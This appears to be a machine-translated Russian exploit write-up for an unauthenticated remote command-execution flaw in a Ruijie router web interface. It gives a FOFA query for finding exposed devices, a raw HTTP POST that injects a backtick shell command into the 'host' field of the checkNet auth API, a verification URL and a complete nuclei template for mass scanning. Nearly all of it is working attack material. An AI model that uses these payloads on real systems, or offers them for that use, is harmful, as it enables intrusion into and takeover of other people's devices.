1. заявление фофа
body="cgi-bin/luci" && body="#f47f3e"
2. Пакет данных
POST /cgi-bin/luci/api/auth HTTP/1.1
Host: XXXXXXXXXX.com
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
{"method":"checkNet","params":{"host":"`echo c149136B>666666.txt`"}}
3. Посетите
http://XXXXXXXXXXXX:XXXX/cgi-bin/666666.txt
4、nuclei POC
Основная команда: Nuclear.exe -l URL-адрес file.txt -t POC.yaml.
id: ruijie-EWEB-auth-RCE
info:
name: В интерфейсе аутентификации существует уязвимость RCE
author: someone
severity: critical
description: В интерфейсе аутентификации существует уязвимость RCE,Злоумышленник может воспользоваться этой уязвимостью для выполнения вредоносных команд.,Это, в свою очередь, приводит к сбою сервера.
reference:
metadata:
verified: true
max-request: 1
fofa-query: body="cgi-bin/luci" && body="#f47f3e"
tags: RCE
variables:
filename: "{{to_lower(rand_base(10))}}"
boundary: "{{to_lower(rand_base(20))}}"
http:
- raw:
- |
POST /cgi-bin/luci/api/auth HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
{"method":"checkNet","params":{"host":"`echo {{666}}>{{filename}}.txt`"}}
- |
GET /cgi-bin/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
matchers:
- type: dsl
dsl:
- "status_code_2==200 && contains_all(body,'{{666}}')"